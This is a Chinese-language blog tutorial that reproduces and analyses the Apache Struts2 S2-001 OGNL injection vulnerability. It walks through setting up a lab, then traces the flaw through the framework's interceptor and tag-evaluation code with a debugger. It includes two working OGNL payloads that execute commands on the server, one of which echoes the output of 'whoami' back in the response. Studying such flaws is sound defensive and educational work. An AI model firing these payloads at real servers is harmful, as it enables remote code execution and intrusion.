Struts2-S2-001漏洞复现
0x01 Struts2简介
Struts 2 是一个开源的 Java Web 应用程序开发框架,遵循MVC架构模式,用于构建基于 Java 技术的 Web 应用程序。它是 Apache Struts 框架的后续版本,旨在提供更现代、灵活和可扩展的方式来开发 Web 应用。Struts迭代至今已经出现很多版本,在这些版本中也存在许多RCE的漏洞。Struts 2也面临一个即将淘汰的局面。
0x02 Struts2环境搭建
创建Maven项目,选择webapp

在pom.xml里导入 Struts2 的核心依赖
<dependency> |
然后修改web.xml,这里配置Struts2的过滤器
<web-app> |
创建java类
package com.test.s2001.action; |
在 Struts 2 框架中,execute()
是一个在 Action 类中的一个特定方法,用于处理请求。每当一个请求被发送到 Struts 2 应用程序,并且匹配了某个 Action 的映射时,execute()
方法会被调用来处理该请求。总之,execute()
方法在 Struts 2 中代表了一个 Action 类的入口点,用于处理请求和业务逻辑,并返回结果字符串来指导框架执行后续的页面导航或响应生成。
然后编写两个JSP页面
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" |
welcome.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" |
然后在 main
文件夹下创建一个 resources
文件夹,内部添加一个 struts.xml
,内容为
|
至此struts2环境搭建完成
struts2环境的目录结构

struts2的执行流程:
简单说一下struts2接收数据后的后端处理流程,当用户在前端输入数据请求特定的URL后(例如http://example.com/myapp/myaction.action)请求发送到服务器,进入到Struts 2的过滤器,也就是上面在web.xml中配置的过滤器,它接收到所有请求,并作为入口点开始 Struts 2 的执行流程。该过滤器分析请求的 URL,并根据配置文件中的映射规则找到相应的 Action 类,然后调用该 Action 类的 execute()
方法。(在这里也就是LoginAction类的execute方法)进行业务数据处理,execute()
方法返回一个结果字符串,表示请求的处理结果。这个结果字符串与配置文件中的结果映射相匹配,决定如何处理请求的后续步骤。(也就是struts.xml编写的内容)根据结果字符串的映射,Struts 2 将找到相应的结果视图,然后呈现给用户。

环境搭建成功
0x03 OGNL表达式
官方解释:OGNL(Object-Graph Navigation Language)是一种用于访问和操作对象图结构的表达式语言。它主要用于在 Java 程序中对对象图进行导航、访问属性和调用方法等操作,使得开发人员能够更轻松地处理复杂的对象结构。
OGNL 表达式在诸如 Struts 2、Spring 等框架中广泛使用,它可以调用方法,那么就有可能会执行恶意命令。
OGNL表达式具体原理细节不再叙述,网上文章很多,Struts 2框架能够RCE,主要就是OGNL表达式注入。在 OGNL表达式中,%{}
是用于执行内联的动态操作的语法。这个语法允许你在表达式中执行一些特定的操作,比如调用方法、执行代码块等。
在 Struts 2 框架中,%{}
是一种用于包装动态内容的语法,用于在视图中嵌入动态的数据或操作。具体用法可以包括从值栈中获取属性值、调用方法、执行代码块等。
例如表单输入%{1+1}就会返回2,1+1表达式被执行了。
ognl表达式注入相关文章:
0x04 S2-001漏洞利用与分析
漏洞利用
影响范围:Struts2 版本 2.0.0 到 2.0.8.1
弹计算器的payload
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()} |
成功弹出计算器

存在RCE漏洞,还有将页面回显到前端的payload
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
通过数据流将执行结果返回给用户

能够RCE的根本原因就是Struts 2 框架对用户的输入用ognl表达式来解析。
漏洞流程分析
首先搞清楚断点应该下在哪,前面分析Struts 2 框架框架流程那一块说过,过滤器接收数据是业务流程的入口,所以我们锁定FilterDispatcher类,断点下在doFilter方法上,doFilter方法做了以下业务
设置编码和本地化信息 |
前端表单用户名密码都输入%{1+1} 开始调试
前面都是一些基础的赋值与判断,重点在serviceAction方法里,跟进

首先判断有没有ValueStack对象,如果没有的话,获取当前线程的ActionContext对象,通过 ActionProxyFactory 的 createActionProxy()
类创建一个Action代理,然后调用execute()方法,

这里跟进invoke方法


在这个方法里面,它会顺序的递归执行当前 Action 中所配置的所有的拦截器,在struts2 包内的 struts-default.xml 里面也可以看到有众多迭代器

而ParametersInterceptor这个迭代器是真正处理我们用户输入的数据的,可能在这个迭代器中就会存在ognl表达式的处理,迭代的地方就不调了,遍历到ParametersInterceptor迭代器的时候,会跟进到它的doIntercept方法,将断点打在这个方法里。

首先获取当前正在执行的 Action 实例,然后检查该 Action 是否需要处理参数。如果需要,它从 Action 上下文中获取请求的参数,并在调试日志中记录参数信息,然后设置一些OGNL 上下文的相关配置,我们跟进到setParameters方法里面,

然后跟进到setValue方法,直到进入到SimpleNode类的setValue方法。当迭代器处理数据完成后,跟进这个方法


通过反射调用action类的execute方法处理业务请求,继续往下走,跟进到 executeResult() 方法里,再跟进 execute 然后继续跟进 doExecute

这个方法里准备基础的页面配置,可以看到返回的页面是jsp。发送真正的响应信息,之后调用JspServlet
来处理请求,在解析标签的时候,解析标签的结束符会调用 ComponentTagSupport 类的 doEndTag() 方法,我们跟进到这个方法

继续跟进end方法,跟进evaluateParams方法

由于 altSyntax
默认开启了,通过findValue方法寻找参数值,然后跟进到最终的漏洞触发点 translateVariables 方法

首先把username的值取出来,然后再一次循环把它赋值给expression,

通过这个findValue方法,将1+1解析为2,然后又将2赋值给expression,最后发现不是ognl表达式就会return返回。到此流程结束。
0x05 漏洞分析总结
实际上,S2-001漏洞在解析jsp文件的数据标签的时候,如果开启了 altSyntax (而且它是默认开启)且为字符串类型, struts2 会对标签在值栈中自栈顶向栈底找与表单 name 名同名的属性值进行 ognl 表达式解析并显示,所以在表单输入%{}格式的ognl表达式的时候,它会截取%{}里面的表达式并且解析执行,用户不信任的输入,造成命令执行。
参考文章:
https://drun1baby.top/2022/10/27/Java-Struts2-%E7%B3%BB%E5%88%97-S2-001/#0x04-%E6%80%BB%E7%BB%93